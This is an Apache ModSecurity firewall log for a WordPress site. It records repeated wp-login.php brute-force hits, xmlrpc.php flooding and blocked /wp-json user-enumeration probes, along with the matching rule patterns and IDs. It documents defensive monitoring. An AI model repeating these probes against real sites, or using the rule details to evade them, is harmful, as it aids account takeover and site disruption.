[Thu Mar 19 14:40:00.015092 2026] [:error] [pid 11110:tid 11130] [client 173.239.254.91:21909] [client 173.239.254.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abuaQASNPqGfikw7k8JJNQAAAA8"]
[Thu Mar 19 14:44:27.142170 2026] [:error] [pid 11016:tid 11073] [client 134.255.58.165:56144] [client 134.255.58.165] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abubSxPK94J9G19C6uX02wAAAQA"]
[Thu Mar 19 14:45:40.963858 2026] [:error] [pid 11015:tid 11055] [client 134.255.58.165:57459] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abublPPcMwFQZAVfzLQV9gAAAIk"]
[Thu Mar 19 14:46:45.896992 2026] [:error] [pid 48106:tid 48132] [client 134.255.58.165:58460] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abub1cVZaUGvkz29lZHGFgAAANI"]
[Thu Mar 19 14:47:39.341392 2026] [:error] [pid 11110:tid 11135] [client 134.255.58.165:58923] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abucCwSNPqGfikw7k8JNDgAAABQ"]
[Thu Mar 19 14:48:40.600457 2026] [:error] [pid 48106:tid 48117] [client 134.255.58.165:59171] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abucSMVZaUGvkz29lZHHkAAAAMM"]
[Thu Mar 19 14:49:46.970579 2026] [:error] [pid 11014:tid 11029] [client 134.255.58.165:59489] [client 134.255.58.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.255.58.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abucijBVizvrAl0DfCDO9AAAAEo"]
[Thu Mar 19 15:16:48.832651 2026] [:error] [pid 48106:tid 48117] [client 193.19.109.1:40685] [client 193.19.109.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abui4MVZaUGvkz29lZHbGAAAAMM"]
[Thu Mar 19 15:16:48.833634 2026] [:error] [pid 11015:tid 11049] [client 173.239.254.92:56531] [client 173.239.254.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abui4PPcMwFQZAVfzLQfRgAAAIM"]
[Thu Mar 19 16:31:49.659177 2026] [:error] [pid 11110:tid 11135] [client 173.239.254.85:36103] [client 173.239.254.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abu0dQSNPqGfikw7k8J9qgAAABQ"]
[Thu Mar 19 16:31:49.659180 2026] [:error] [pid 11110:tid 11127] [client 173.239.254.99:49659] [client 173.239.254.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abu0dQSNPqGfikw7k8J9qQAAAAw"]
[Thu Mar 19 16:38:58.257860 2026] [:error] [pid 51091:tid 51119] [client 183.83.156.19:31223] [client 183.83.156.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.156.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abu2Ir7LZKhdJPD9CBucJgAAAUg"]
[Thu Mar 19 16:39:33.588451 2026] [:error] [pid 48106:tid 48116] [client 106.222.228.114:2268] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abu2RcVZaUGvkz29lZH0PgAAAMI"]
[Thu Mar 19 16:46:31.848202 2026] [:error] [pid 11110:tid 11130] [client 49.43.168.31:64271] [client 49.43.168.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.168.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abu35wSNPqGfikw7k8KAOgAAAA8"]
[Thu Mar 19 17:07:44.159587 2026] [:error] [pid 1285:tid 1308] [client 43.156.228.27:32842] [client 43.156.228.27] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abu84FE95r3zR75X1HrIyQAAAhU"]
[Thu Mar 19 17:09:00.230222 2026] [:error] [pid 11110:tid 11117] [client 85.8.130.3:44353] [client 85.8.130.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abu9LASNPqGfikw7k8KF5QAAAAI"]
[Thu Mar 19 17:09:00.230222 2026] [:error] [pid 1247:tid 1262] [client 173.239.254.111:32517] [client 173.239.254.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.111, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abu9LA5tmeOr-yI4XNF6QgAAAc0"]
[Thu Mar 19 17:31:23.022400 2026] [:error] [pid 1247:tid 1262] [client 106.222.228.114:21395] [client 106.222.228.114] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abvCaw5tmeOr-yI4XNGD9gAAAc0"]
[Thu Mar 19 17:33:14.864986 2026] [:error] [pid 11014:tid 11041] [client 106.222.228.114:5075] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvC2jBVizvrAl0DfCADTwAAAFY"]
[Thu Mar 19 17:34:38.825595 2026] [:error] [pid 11015:tid 11061] [client 106.222.228.114:5737] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvDLvPcMwFQZAVfzLRBsQAAAI8"]
[Thu Mar 19 17:48:12.181431 2026] [:error] [pid 1397:tid 1420] [client 85.8.130.2:60129] [client 85.8.130.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvGXHptc6vBjy-kgOP_lQAAAtU"]
[Thu Mar 19 17:48:12.187462 2026] [:error] [pid 1397:tid 1404] [client 173.239.254.85:39287] [client 173.239.254.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvGXHptc6vBjy-kgOP_lgAAAsU"]
[Thu Mar 19 18:24:59.068348 2026] [:error] [pid 11110:tid 11133] [client 183.83.156.19:30030] [client 183.83.156.19] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abvO-wSNPqGfikw7k8KXwgAAABI"]
[Thu Mar 19 18:25:00.662263 2026] [:error] [pid 11015:tid 11058] [client 85.8.130.3:22093] [client 85.8.130.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvO_PPcMwFQZAVfzLRO5QAAAIw"]
[Thu Mar 19 18:25:00.662263 2026] [:error] [pid 11015:tid 11049] [client 85.8.130.1:38475] [client 85.8.130.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvO_PPcMwFQZAVfzLRO5gAAAIM"]
[Thu Mar 19 18:25:44.624768 2026] [:error] [pid 11015:tid 11046] [client 103.171.4.108:61891] [client 103.171.4.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvPKPPcMwFQZAVfzLRPKAAAAIA"]
[Thu Mar 19 18:26:10.184955 2026] [:error] [pid 1247:tid 1256] [client 183.83.156.19:30469] [client 183.83.156.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.156.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvPQg5tmeOr-yI4XNGXewAAAcc"]
[Thu Mar 19 18:27:15.198885 2026] [:error] [pid 1247:tid 1269] [client 183.83.156.19:30334] [client 183.83.156.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.156.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvPgw5tmeOr-yI4XNGX1gAAAdQ"]
[Thu Mar 19 18:28:21.524133 2026] [:error] [pid 1441:tid 1457] [client 183.83.156.19:30623] [client 183.83.156.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.156.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvPxYf6BGzjfVNuehUUjwAAAw4"]
[Thu Mar 19 18:29:21.414467 2026] [:error] [pid 1247:tid 1270] [client 183.83.156.19:30129] [client 183.83.156.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.156.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvQAQ5tmeOr-yI4XNGYvQAAAdU"]
[Thu Mar 19 18:29:28.992269 2026] [:error] [pid 11014:tid 11031] [client 103.171.4.98:54111] [client 103.171.4.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abvQCDBVizvrAl0DfCAIRwAAAEw"]
[Thu Mar 19 18:30:25.413324 2026] [:error] [pid 48106:tid 48121] [client 183.83.156.19:29572] [client 183.83.156.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.83.156.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvQQcVZaUGvkz29lZEGXgAAAMc"]
[Thu Mar 19 18:30:33.229057 2026] [:error] [pid 1247:tid 1267] [client 103.171.4.108:64228] [client 103.171.4.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvQSQ5tmeOr-yI4XNGZPQAAAdI"]
[Thu Mar 19 18:31:07.394139 2026] [:error] [pid 1397:tid 1406] [client 106.222.228.114:28958] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvQa3ptc6vBjy-kgOMFsAAAAsc"]
[Thu Mar 19 18:31:31.866871 2026] [:error] [pid 11110:tid 11131] [client 103.171.4.108:64616] [client 103.171.4.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvQgwSNPqGfikw7k8KY_wAAABA"]
[Thu Mar 19 18:32:32.578278 2026] [:error] [pid 1285:tid 1300] [client 103.171.4.108:65035] [client 103.171.4.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvQwFE95r3zR75X1Hr1BwAAAg0"]
[Thu Mar 19 18:32:35.278485 2026] [:error] [pid 1285:tid 1290] [client 106.222.228.114:7487] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvQw1E95r3zR75X1Hr1DQAAAgM"]
[Thu Mar 19 18:33:40.345775 2026] [:error] [pid 11110:tid 11115] [client 103.171.4.108:63111] [client 103.171.4.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvRBASNPqGfikw7k8KZhwAAAAA"]
[Thu Mar 19 18:34:03.392368 2026] [:error] [pid 11015:tid 11061] [client 106.222.228.114:20890] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvRG_PcMwFQZAVfzLRRagAAAI8"]
[Thu Mar 19 18:35:23.410319 2026] [:error] [pid 11015:tid 11054] [client 106.222.228.114:18600] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvRa_PcMwFQZAVfzLRR0gAAAIg"]
[Thu Mar 19 18:36:47.293146 2026] [:error] [pid 1285:tid 1295] [client 106.222.228.114:23225] [client 106.222.228.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.228.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvRv1E95r3zR75X1Hr2pwAAAgg"]
[Thu Mar 19 18:38:19.285453 2026] [:error] [pid 11015:tid 11069] [client 103.171.4.99:64177] [client 103.171.4.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvSG_PcMwFQZAVfzLRSqAAAAJc"]
[Thu Mar 19 18:39:27.021268 2026] [:error] [pid 11015:tid 11064] [client 103.171.4.97:351] [client 103.171.4.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvSX_PcMwFQZAVfzLRS8AAAAJI"]
[Thu Mar 19 18:42:57.947471 2026] [:error] [pid 1285:tid 1301] [client 103.171.4.107:53017] [client 103.171.4.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.107, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvTMVE95r3zR75X1Hr5jwAAAg4"]
[Thu Mar 19 18:44:55.362203 2026] [:error] [pid 11110:tid 11129] [client 103.171.4.106:55315] [client 103.171.4.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvTpwSNPqGfikw7k8KcYwAAAA4"]
[Thu Mar 19 18:50:35.940923 2026] [:error] [pid 1397:tid 1416] [client 103.171.4.101:51764] [client 103.171.4.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.4.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abvU-3ptc6vBjy-kgOMIZQAAAtE"]
[Thu Mar 19 19:01:44.536854 2026] [:error] [pid 1247:tid 1270] [client 193.19.109.5:25347] [client 193.19.109.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvXmA5tmeOr-yI4XNGlIgAAAdU"]
[Thu Mar 19 19:01:44.537013 2026] [:error] [pid 11110:tid 11117] [client 173.239.254.110:27779] [client 173.239.254.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvXmASNPqGfikw7k8KgHAAAAAI"]
[Thu Mar 19 19:38:18.556966 2026] [:error] [pid 11014:tid 11036] [client 173.239.254.91:59449] [client 173.239.254.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvgKjBVizvrAl0DfCAQTwAAAFE"]
[Thu Mar 19 19:38:18.578747 2026] [:error] [pid 1285:tid 1290] [client 173.239.254.89:63181] [client 173.239.254.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvgKlE95r3zR75X1HoVPwAAAgM"]
[Thu Mar 19 20:14:42.327330 2026] [:error] [pid 1247:tid 1250] [client 173.239.254.91:59195] [client 173.239.254.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvosg5tmeOr-yI4XNHF9gAAAcE"]
[Thu Mar 19 20:14:42.327330 2026] [:error] [pid 1285:tid 1289] [client 193.19.109.6:28195] [client 193.19.109.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvoslE95r3zR75X1HonQQAAAgI"]
[Thu Mar 19 20:53:08.121044 2026] [:error] [pid 48106:tid 48136] [client 173.239.254.104:51777] [client 173.239.254.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.104, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvxtMVZaUGvkz29lZEWiwAAANY"]
[Thu Mar 19 20:53:08.121064 2026] [:error] [pid 48106:tid 48119] [client 173.239.254.84:30871] [client 173.239.254.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abvxtMVZaUGvkz29lZEWjAAAAMU"]
[Thu Mar 19 21:13:44.485643 2026] [:error] [pid 1247:tid 1264] [client 168.119.108.92:33744] [client 168.119.108.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.119.108.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv2iA5tmeOr-yI4XNHjEgAAAc8"]
[Thu Mar 19 21:13:46.176812 2026] [:error] [pid 1247:tid 1271] [client 168.119.108.92:33744] [client 168.119.108.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.119.108.92, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv2ig5tmeOr-yI4XNHjFAAAAdY"], referer: https://gigfragments.org/wp-login.php
